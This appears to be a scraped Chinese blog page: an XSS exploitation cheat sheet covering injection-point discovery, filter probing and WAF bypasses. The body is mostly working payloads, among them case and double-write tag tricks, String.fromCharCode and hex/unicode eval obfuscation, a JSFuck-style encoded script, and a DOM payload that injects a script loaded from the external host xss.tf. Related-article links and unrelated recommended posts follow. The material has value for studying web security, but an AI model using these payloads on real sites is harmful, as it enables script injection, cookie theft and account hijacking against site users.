xss姿势利用
1.定位页面可以出现xss的位置
可能会出现联合点利用 一个页面多个存储位置或者一个页面多个参数联合利用
例如输入xss 查看页面源码页面里有多个xss 或者多个参数显示 可以利用
需要注意的是有的是js动态加载标签 或者iframe嵌套 和框架嵌套 需要去审查元素
如果xss位置在js 可以直接利用js弱语言的特性直接写js
如果xss位置在html 标签属性中 可以先判断闭合条件 '和" 利用伪协议写js
如果是>< 标签内 可以直接写html 标签 值得注意的是有些标签自带htmlEncode功能
例 <textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
<math></math>
这些标签需要先闭合不然标签输出的都是文本
2.快速判断过滤
'"<>script onsss javascript 输入是否成功回显 或者判断是否被过滤/转义
3.常见绕过
8进制,16进制,html实体编码 String.fromCharCode()还原ascii
大小写 ,双写,过滤顺序,注释换行逃逸
4.payload 编码利用
<SCRIPT SRC=x ></SCRIPt> 大小写 利用
<SCrIPT SRC=http://x/x ></ScRIPt>
alert(1) html实体编码 利用
<img src=1 ONERROR= "%0ajavascript:%0calert%0d(/xss/);" width=100> 空字符
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script> ascii 转义
<script>alert`1`</script> 反引号带替()
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())()</script> jj编码 后 要在用url编码
eval('\x76\x61\x72\40\141\75String.fromCharCode(49);\u0061\u006c\u0065\u0072\u0074\u0028a\u0029;') eval采用混编 16进制 8进制 10进制 unicode编码
5.绕过姿势
利用H5新标签,DOM编程,编码,浏览器差异解析绕过
探测有哪些是被wa了的 '">script img onerror 在探测waf规则...
<scr<script>ipt>alert(/XSS/)</scr<script>ipt> 过滤时双写或者大小写
黑名单绕过比如alert被禁时 可以试试prompt/confirm
<div style=xss:\0065xpression(alert(1))> 仅限IE
<a onmouseover=\u0074> 通过on事件/伪协议的执行js 后渲染的js 全部可以用各种编码混编
所以我们大多是绕过对伪协议的限定
不常见便签来绕过黑名单
isindex,anytag,object ,marquee,audio,video,embed,svg等
tab 绕过 javascri p t 记住要;结尾 这也是利用的js弱语言特性
注释符逃逸 %0a %0c %0d 换行符 %00只在ie8下有用
DOM 编程 例子
<img src='1' name=javasCript:s=document.createElement%28"sCript"%29;s.src="//xss.tf/zuQ";document.body.appendChild%28s%29 onerror=location=this.name />
iframe 的srcdoc 标签利用
xss姿势利用的更多相关文章
- XSS姿势——文件上传XSS
XSS姿势--文件上传XSS 原文链接:http://brutelogic.com.br/blog/ 0x01 简单介绍 一个文件上传点是执行XSS应用程序的绝佳机会.很多网站都有用户权限上传个人资料 ...
- 【XSS】利用 onload 事件监控流量劫持
说到跨站资源监控,首先会联想到『Content Security Policy』.既然 CSP 好用,我们何必自己再搞一套呢.那就先来吐槽下 CSP 的缺陷. 目前的 CSP 日志不详细 用过 CSP ...
- XSS高级利用
XSS会话劫持 (1)Cookie简介 Cookie是能够让网站服务器把少量文本数据存储到客户端的硬盘.内存,或者是从客户端的硬盘.内存读取数据的一种技术. Cookie是一段随HTTP请求.响应一起 ...
- xss漏洞利用
简述 跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息.攻击者通过在链接中插入恶意代码,就能够盗取用户信息.攻击者通常会在有漏洞的程序中插入 JavaScript.VBScript. ...
- Dreammail V4.6.9.2 XSS漏洞利用
转载请注明:@小五义http://www.cnblogs.com/xiaowuyi 针对版本: DreamMail 4.6.9.2测试环境:windows xp sp3 python版本:2.6 测试 ...
- 新学到的xss姿势,分享一下
在js中有一种神奇的对象叫做window 当页面中包含如类似的 <script>var c = urlQuery("callback"); var r = JSON.p ...
- CORS+XSS的漏洞利用payload
之前有人问我有没有CORS+XSS的利用姿势,翻了一下国内貌似都没有利用姿势于是就写了这篇文章!!! 首先找到一个反射xss,然后使用xss加载javascript代码达到跨域劫持目的payload如 ...
- XSS跨站及利用
(一)软件测试环境以及搭建 测试环境:本地 XAMPP 1.7.1 测试软件:PHP168整站v5.0 软件下载地址 http://down2.php168.com/v2008.rar PHP.ini ...
- 持久化 XSS:ServiceWorkers 利用
来源:http://www.mottoin.com/95058.html 来源:https://www.owasp.org/images/3/35/2017-04-20-JSONPXSS.pdf Se ...
随机推荐
- 38 (OC)* 进程、线程、堆栈
一.进程和线程 1.什么是进程 进程是指在系统中正在运行的一个应用程序 每个进程之间是独立的,每个进程均运行在其专用且受保护的内存空间内 比如同时打开QQ.Xcode,系统就会分别启动2个进程 通过“ ...
- Asp.net Windows 身份验证-域验证
一.在web.config中设置: <authentication mode="Windows" /> 二.获取计算机名\账户名 使用代码:HttpContext.Cu ...
- [LeetCode] 由 “打印机任务队列" 所想
一.这是个基础问题 Ref: Python之队列模拟算法(打印机问题)[首先研究这个问题作为开始] 任务队列 定义一个任务队列,来管理任务,而无需关心队列的”任务类型". # 自定义队列类 ...
- 如何在服务器中安装mysql 以及安装禅道
安装mysql:以下命令在xshell 中输入: 1.卸载mysql :yum -y remove mysql* 2.查找mysql命名安装的所有文件: find / -name mysql 只能删 ...
- 从零开始用golang创建一条简单的区块链
区块链(Blockchain),是比特币的一个重要概念,它本质上是一个去中心化的数据库,同时作为比特币的底层技术,是一串使用密码学方法相关联产生的数据块,每一个数据块中包含了一批次比特币网络交易的信息 ...
- redis-分布式锁-消除竞争条件
因为信号量的设计过程中,获取一个信号量需要执行多个命令组成的流水,这样容易形成竞争条件. 为了消除信号量实现中所有可能出现的竞争条件,构建一个正确的计数信号量,需要在 信号量时,添加带有短暂超时时间的 ...
- docker容器添加对外映射端口
一般在运行容器时,我们都会通过参数 -p(使用大写的-P参数则会随机选择宿主机的一个端口进行映射)来指定宿主机和容器端口的映射,例如 docker run -it -d --name [contain ...
- 推荐几个我近期排查线上http接口偶发415时用到的工具
导读:近期有一个业务部门的同学反馈说他负责的C工程在小概率情况下SpringMvc会返回415,通过输出的日志可以确定是SpringMvc找不到content-type这个头了,具体为什么找不到了呢? ...
- Spark 学习笔记之 Standalone与Yarn启动和运行时间测试
Standalone与Yarn启动和运行时间测试: 写一个简单的wordcount: 打包上传运行: Standalone启动: 运行时间: Yarn启动: 运行时间: 测试结果: Standalon ...
- 基于Docker和Golang搭建Web服务器
1 场景描述 基于centos7的docker镜像搭建golang开发环境 在docker容器内,使用golang实现一个Web服务器 启动docker容器,并在容器内启动Web服务器 我购买了一个最 ...